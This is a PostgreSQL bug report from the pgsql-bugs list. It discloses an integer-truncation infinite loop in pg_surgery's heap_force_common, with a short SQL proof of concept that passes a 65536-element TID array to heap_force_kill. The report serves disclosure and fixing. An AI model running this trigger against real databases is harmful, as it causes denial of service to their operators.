BUG #19607: Bug 18: `pg_surgery` infinite loop in `heap_force_common`

From: PG Bug reporting form <noreply(at)postgresql(dot)org>
To: pgsql-bugs(at)lists(dot)postgresql(dot)org
Cc: 1217816127(at)qq(dot)com
Subject: BUG #19607: Bug 18: `pg_surgery` infinite loop in `heap_force_common`
Date: 2026-08-03 08:40:59
Message-ID: 19607-2f256a66481c514b@postgresql.org
Views: Whole Thread | Raw Message | Download mbox | Resend email
Thread:
Lists: pgsql-bugs

The following bug has been logged on the website:

Bug reference: 19607
Logged by: Yuelin Wang
Email address: 1217816127(at)qq(dot)com
PostgreSQL version: 19beta2
Operating system: Linux (Ubuntu 24.04, x86_64)
Description:

### Summary

In `contrib/pg_surgery/heap_surgery.c`, a huge TID array can truncate an
index into `OffsetNumber`. The loop no longer reaches its end condition and
the statement keeps running until cancellation. This is a SQL reachable
denial of service when `pg_surgery` is installed.

### PoC

SQL script:

```sql
CREATE EXTENSION IF NOT EXISTS pg_surgery;

CREATE TABLE vuln_surgery_loop(a int);
INSERT INTO vuln_surgery_loop
SELECT g FROM generate_series(1, 300) AS g;

SET statement_timeout = '15s';

SELECT heap_force_kill(
'vuln_surgery_loop'::regclass,
ARRAY(
SELECT '(0,1)'::tid
FROM generate_series(1, 65536)
)
);

RESET statement_timeout;
```

### Result

The call remains active until `statement_timeout`. A finite array pass of
this size should complete quickly, so the timeout confirms the integer
truncation induced infinite loop.

Responses

Browse pgsql-bugs by date

  From Date Subject
Next Message PG Bug reporting form 2026-08-03 09:54:17 BUG #19608: Error while Reindexing Main Table
Previous Message PG Bug reporting form 2026-08-03 08:22:20 BUG #19604: Bug 9: `plperl_to_hstore` heap overflow with a tied Perl hash